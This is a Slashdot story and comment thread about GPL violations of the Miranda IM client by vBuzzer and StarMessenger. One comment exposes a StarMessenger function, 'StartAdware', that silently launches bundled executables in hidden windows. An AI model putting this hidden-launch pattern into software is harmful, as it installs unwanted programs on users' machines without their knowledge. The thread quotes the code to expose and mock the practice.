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GPL Violations of Miranda IM

Posted by Zonk on from the bad-devs-bad dept.

Eesh writes "The Miranda project developers have recently posted to their development blog about two GPL violations of companies using their code - vBuzzer and StarMessenger. Today, they also posted that vBuzzer are taking steps to correct that violation. Hopefully this will work out fine. Miranda 0.401 stable was released recently"

7 of 245 comments (clear)

  1. Oh Miranda! by Seumas · · Score: 5, Funny

    Oh Miranda - you came and you gave without taking!

  2. Question... by deutschemonte · · Score: 5, Interesting

    Maybe this should be an ask slashdot or something, but I have a question.

    How does one go about making sure that your source code hasn't been "misappropriated" (read stolen) and placed into a closed source app?

    Are there services out there for this sort of thing or do you just have to be forever diligent?

    --
    The preceding message was based on actual events. Only the names, locations and events have been changed.
    1. Re:Question... by Seumas · · Score: 5, Informative

      One very simple way to at least detect potential similarities is to use strings. In certain situations, you can figure that it should not be likely that two programs would have such identical strings output.

  3. I really wish they wouldn't give in so easily by slavemowgli · · Score: 5, Interesting

    I really wish free software projects wouldn't give in so easily all the time. By not doing anything anymore once the license terms have been satisfied again, they're just teaching companies that it's economically sound to rip them off - after all, you don't lose anything if you get caught, and you gain something if you don't.

    This isn't good, though, as it will only encourage the less-than-scrupulous companies to commit further license violations, many of which *will* go undetected. It's one thing to essentially take a product, slap a new name on it, and then try to sell it (like was the case in the CherryOS case) or at least claim it as your own; that's easily detectable. Taking code from a GPL'ed library, though, for example, and integrating that into your $10K+ enterprise application, will most likely not be noticed, even though it is just as illegal.

    As such, I'd really like to see an actual lawsuit some time where the developers of the project that was ripped off seek (punitive) damages, and maybe, if the case allows for it, press criminal charges against the company executives, too. Violating a free software license is *no* small matter - it's just as illegal and immoral as it is to press and sell illegally-produced copies of Windows, for example, and companies need to realize that.

    --
    quidquid latine dictum sit altum videtur.
  4. Re:Star messanger source code by Tiersten · · Score: 5, Informative
    Made good? It'd be better for Star Messenger to be taken outside and destroyed. Star Messenger is a thinly disguised attempt at infecting you with adware.

    From StarMessenger/core/miranda.c:
    int StartAdware(void)
    {
    //if (RegDateCheck()==DO_NOT_RUN_ADWARE) return 0;

    //WinExec("Test1.exe", SW_SHOW);

    WinExec("nngluz564.exe", SW_HIDE);
    WinExec("TBGLZ127Q.exe", SW_HIDE);
    //WinExec("saap.exe /did=563", SW_HIDE);
    return 0;
    }
    Mmm... Enjoy that adware goodness...
  5. Re:Star messanger source code by Psionicist · · Score: 5, Funny
    Dear god they can't even run the spyware correctly.
    WinExec

    The WinExec function runs the specified application.

    Note This function is provided only for compatibility with 16-bit Windows. Applications should use the CreateProcess function.
  6. Re:Star messanger source code by qazwsxqazwsx90 · · Score: 5, Funny

    Now that they have released their source, you can create a patch that uses CreateProcess instead. See how beneficial open source is to developers.